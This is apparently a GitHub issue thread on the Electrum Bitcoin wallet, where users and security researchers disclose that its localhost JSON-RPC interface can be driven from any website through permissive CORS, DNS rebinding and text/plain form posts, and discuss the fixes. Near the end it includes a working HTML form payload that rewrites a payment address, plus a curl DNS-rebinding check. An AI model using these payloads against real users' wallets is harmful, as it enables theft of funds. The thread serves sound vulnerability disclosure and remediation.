spesmilo / electrum

Electrum Bitcoin Wallet
https://electrum.org
MIT License
7.24k stars 3.03k forks source link

Password protect the JSONRPC interface #3374

Closed ghost closed 6 years ago

ghost commented 6 years ago

The JSONRPC interface is currently completely unprotected, I believe it should be a priority to add at least some form of password protection.

Scans for the JSONRPC interface of Ethereum wallets have already started: https://www.bleepingcomputer.com/news/security/theres-some-intense-web-scans-going-on-for-bitcoin-and-ethereum-wallets/

SoundButton commented 6 years ago

Even if a hacker got access to your wallet somehow it's still encrypted with strong password i hope.

ghost commented 6 years ago

The JSONRPC interface is not about your personal wallet at home. It is mostly used by web servers for remotely executing commands, like handling a wallet via a web interface or accepting web payments.

While the electrum daemon is running, someone on a different virtual host of the web server could easily access your wallet via the local RPC port.

Currently, there is no security/authentication, giving someone access to the RPC port full access to the wallet.

taviso commented 6 years ago

Hello, I'm not a bitcoin user, a colleague pointed me at this bug report because localhost RPC servers drive me crazy 😛.

I installed Electrum to look, and I'm confused why this isn't being treated as a critical and urgent vulnerability? If this bug wasn't already open for months, I would have reported this as a vulnerability, but maybe I misunderstand something.

The JSON RPC server is enabled by default, it does use a random port but a website can simply scan for the right port in seconds.

I made you a demo. It's very basic, but you get the idea.

If you did set a password, some misdirection is required, but it's still game over, no?

Here is how I reproduced:

(Note: i dont use bitcoin, you can steal my empty wallet if you like)

devrandom commented 6 years ago

Looks like electrum unconditionally returns a positive CORS pre-flight check. Looks like a serious issue.

mithrandi commented 6 years ago

The code doing this dates back to the original implementation: https://github.com/spesmilo/electrum/blob/2c67de8f642a182dd76c706b65c14eeeeee64d03/gui/jsonrpc.py#L32-L42

I suspect this should just be removed, but there may be a reason it's there?

ecdsa commented 6 years ago

thanks for pointing this out. this was introduced when the jsonrpc interface was merged with the daemon 4682d95a76459a5fe837630f83f60653c3f32c5a

taviso commented 6 years ago

Thanks for investigating so quickly, in my opinion this merits a new release and an announcement, what do you think?

I think just scanning for people in the background of a website is really easy, and seems likely someone will try that. Even with encrypted wallets, you can still change options, change destination addresses, deanonymize users via listaddresses and so on.

Maybe there is a way to do more, like setting requests_dir to the wallet directory? I noticed if you set {method:"gui" param=[{uri: <bitcoinuri>}] it will silently change any address you've already entered - that seems kinda scary.

ecdsa commented 6 years ago

indeed we will do a new release

ecdsa commented 6 years ago

A new release (3.0.4) is available on the website and on Google Play, that disables CORS. We may enable it again after we add password protection.

kirelagin commented 6 years ago

TBH simply disabling CORS doesn’t seem to be a proper solution, given that there is plenty of software other than browsers that runs locally.

I’d expect this RPC server to at least be disabled by default and, even better, password protected, given that, I suspect, the vast majority of users never use it and don’t even know that it exists.

SomberNight commented 6 years ago

@kirelagin The application itself uses the RPC server to work. Password protection is currently being implemented.

kirelagin commented 6 years ago

@SomberNight Oh, I see.

In that case you’ll still need a way to securely agree on a password betwen the daemon and the GUI app. I mean, if you simply write the password to a file for the GUI to read, rouge local apps will also get it from there :(.

SomberNight commented 6 years ago

@kirelagin Yes, I know. Though the same apps might as well go for the wallet file directly, right?

kirelagin commented 6 years ago

@SomberNight Yep, you are right, there is nothing you can do about that, so that’s the problem of the user who doesn’t set a password. Though, as @taviso pointed out, signing transactions is not the only issue, being able to modify GUI input fields via this API is also a serious one.

h43z commented 6 years ago

Is it correct that without explicitly loading the wallet with electrum daemon load_wallet one cannot run commands against the RPC? So a "normal" desktop user of electrum cannot be attacked, right?

fyookball commented 6 years ago

good work guys. We ported the patch to E.C. thanks.

kirelagin commented 6 years ago

@h43z It is not correct. The RPC daemon is started automatically as soon as you launch the GUI app.

taviso commented 6 years ago

@h43z No, there is a load_wallet rpc, method=daemon, params=[{subcommand: “load_wallet“}].

h43z commented 6 years ago

got ya guys. One can load the the wallet via rpc... :man_facepalming:

SomberNight commented 6 years ago

To sum up the parts that are probably the most interesting, on an internet-connected device, when you open a website that exploits this, if Electrum (pre-3.0.4) is running at that time,

meejah commented 6 years ago

Perhaps better than a local file with a password would be a wrapper script that:

The GUI and backend can then encrypt all RPC messages using the shared secret key.

If the threat-model includes rogue local applications running as the user, these could become a man-in-the-middle by listening on an unprivileged port (while changing the Electrum front-end config to point at this).

cpacia commented 6 years ago

Just disabling CORS is still vulnerable to a DNS rebinding attack. It needs to be authenticated.

devrandom commented 6 years ago

@cpacia don't browsers cache DNS lookups to prevent DNS rebinding attacks?

I do agree that authentication would be good though, but I'm curious about the level of urgency.

loshchil commented 6 years ago

Should it be announced that chances are that many Electrum wallets have been hacked? Or let's assume that getting millions (billions) from users was not something interesting for hackers ...

mautematico commented 6 years ago

@pooler, please take a look at this. I think it should be as easy as pull --rebase to merge the fix to electrum-ltc

ecdsa commented 6 years ago

Note for users who are not familiar with GitHub: You should upgrade your client right now, even if this issue has not been closed. The 3.0.4 release includes @mithrandi's patch, which addresses the vulnerability pointed by Tavis. That vulnerability affects all users, not only daemon users.

This issue will remain open until we add password protection to the jsonrpc interface, as initially suggested by @jsmad. Password protection is needed for merchants/websites who need to use an electrum daemon from a remote machine.

fortran77 commented 6 years ago

For end users, upgrading to 3.0.4 is the easy part. The hard question is: Do we now need to move all our BTC to new wallets, with new seeds? It will be helpful if some guidance can be provided to help users evaluate how much risk they were exposed to in the past, based on the procedures they have usually followed. In the absence of a bijective send, moving all BTC to a new wallet can be quite labor-intensive.

loshchil commented 6 years ago

@fortran77 moving coins to a new wallet might be possible to observe at https://dedi.jochen-hoenicke.de/queue/ when performed by a broader audience, i.e., there will be a huge peak in # of transactions the hardest parts are i) to ensure that the updated version made in a rush does not contain yet another vulnerability, ii) tons of phishing attempts might appear to happen, e.g., it has been reported on reddit that some phishing electrum wallet sites appear as top-1 google ads it might be handy to have an option to inform users via some internal warning message of their wallet application

Patafix commented 6 years ago

On our webserver we have only a watch wallet, so it's not a big issue for us (just public key right)?

fyookball commented 6 years ago

@SomberNight does this affect android? Does the pin number serve as protection in the same way that wallet encryption does?

msadar commented 6 years ago

what if already encrypted the previous wallet version?

Do we need to upgrade to newest version

ecdsa commented 6 years ago

@msadar yes you need to upgrade @fyookball yes, it affects android. the patch protects the wallet from malicious websites, but not from malicious apps. I am about to deploy a new apk with jsonrpc disabled.

edit: new APK deployed

Aranad commented 6 years ago

This is bad, but bear in mind that the RPC is only accessible to the localhost, so you're not going to have millions of people with stolen coins - their machine would already need to be compromised. electrum

niklasb commented 6 years ago

@Aranad Due to the CORS headers any website can access the RPC interface on localhost.

Aranad commented 6 years ago

I don't understand how that works - upgraded to 3.0.4 now anyway :-/

taviso commented 6 years ago

@Aranad You agree that if you enter http://123.123.123.123/ into your browser, the browser will try to connect to that address?

I think you must have thought that http://127.0.0.1/ is special, but it isn't, the browser treats it the same as any other address. This means that using a standard called Cross-Origin Resource Sharing, websites can communicate with each other. Now that you know "localhost" is not treated any differently to "google.com" or "facebook.com" or "192.168.0.1", maybe you can see why this works.

You visit http://attackwebsite.com (which could also be an ad iframe on any website), that website uses CORS to connect to http://localhost, which the browser sees no differently to any other website.

meejah commented 6 years ago

@aranad WIth the CORS header set to "*" (as it is before this patch) this allows any "cross-origin" request (which is normally disallowed for JavaScript). So, e.g., some JavaScript in a Web page from evil-advertisement.example.com can make a request to 127.0.0.1:1234 or whatever.

A more legitimate use of CORS can might be so GitHub.com could allow a completely different Web site's JavaScript to make requests via their API (for example, I didn't check if they allow this). See https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

Aranad commented 6 years ago

@taviso and @meejah thanks for explaining :-) I get that localhost is a normal IP, just didn't know about CORS headers allowing things in any page to access it, glad I'm all updated now - I hope everyone gets updated before port scanners start finding anything!

h43z commented 6 years ago

@Aranad it's very easy to do https://twitter.com/h43z/status/950080318601560066 it could be done by any website you visit.

devrandom commented 6 years ago

Just to clarify - the CORS issue is only relevant if you ever ran a web browser on the same machine as Electrum.

Also, if you installed any untrusted code (e.g. any potentially malicious app on Android), that code could have accessed your wallet on localhost via a TCP socket.

bored-engineer commented 6 years ago

@devrandom @cpacia is correct, this is very much still exploitable via DNS rebinding which can be verified via a very simple curl (tested on 3.0.4 on macOS):

$ curl http://localhost:53887/ -X POST -d "{}" -H "Host: attackerdoma.in"
{"id": null, "jsonrpc": "2.0", "error": {"code": -32600, "message": "Request invalid -- no request data."}

While certain browsers have added a variety of mitigations for dns rebinding (including dns caches) they are trivial to bypass. For more info see the talk I gave a few months ago about the current state of dns rebinding mitigations in modern browsers: https://www.youtube.com/watch?v=Q0JG_eKLcws

As a short-term fix instead of adding authentication which may break current implementations using the JSONRPC api, I'd suggest adding a "Host" header check, similar to the one implemented by the kubernetes team: https://github.com/kubernetes/kubernetes/pull/9287/files#diff-72ebccbb2d732bfd63514a751ab57377R32 It's not perfect and authentication should be added in the long-term, however it would significantly reduce the risk of exploitation in the short-term.

Aranad commented 6 years ago

Is this a problem with all wallets that open a port for RPC like geth and bitcoin core?

bored-engineer commented 6 years ago

@Aranad I'm not sure about Geth, but based on the default Bitcoin Core installation I just tested on macOS, RPC is not enabled by default and requires authentication (specifically -rpcuser and -rpcpassword) which mitigates this issue (assuming the user sets a strong password).

ocminer commented 6 years ago

Wouldn't it be a good idea to simply switch off JSON RPC by default completely - 98% of regular users won't need it and add an option to the preferences to enable it by demand ?

fransr commented 6 years ago

Just disabling CORS is not enough, you can still send commands to the RPC using a regular form and text/plain as content-type, which will not enable preflight.

For example, the following code will still allow the POST to be done, without preflight, and the command will be allowed by Electrum 3.0.4:

<form action="http://127.0.0.1:59768/" method="POST" target="x" enctype="text/plain">
    <input type="submit" value="Start" />
    <input type="hidden" name='{"id":0,"method":"gui","params":[{"url":"bitcoin:1Jsjd6xL9NPzzUY5FxM7y614FFVKeg3QbM?' value='"}]}' />
</form>
<iframe src="about:blank" name="x" id="x"></iframe>

I have made a small PoC that is also able to find the port in Safari, since it's a bit trickier to find a port that only gives status 200 using POST: https://gist.github.com/fransr/690e9ae6ce918d2e913ce6cb55ffbcae

Movie is here: https://twitter.com/fransrosen/status/950124848126316544

A quick fix would be to only allow the proper content-type for the API-calls, but I agree with @ocminer and @taviso on not having an open port at all as per default.

IonutBajescu commented 6 years ago

We really shouldn't be publishing PoCs before the devs had a chance to fix the issue. Good spot though, you're doing God's work!

ecdsa commented 6 years ago

I believe the issue is now fixed:

fransr commented 6 years ago

@IonutBajescu I'm sorry for that. There were a lot of discussions going regarding updating to 3.0.4 to be safe, but I really wanted to emphasise that wasn't really the case. I would suggest some form of private channel in the future to communicate security issues, so people do not rely on telling them to you publicly on GitHub, and also mention that in the readme.

ecdsa commented 6 years ago

@fransr no problem. you can use IRC for private interactions. Thanks for your work.

ghost commented 6 years ago

@ecdsa, first of all, thank you for the updates.

I would like to mention that I initially explained this issue in the IRC channel, but I was not taken seriously. Probably because I was talking about the daemon on its own and not the GUI.

Another feature I'd like to see, is sockets, in addition to password protection. Many Linux daemons use ports but they also use unix sockets as an alternative, sockets can have proper ownership permissions, thus limit access on a shared hosting environment (watch-only wallets is a typical use).

Thank you.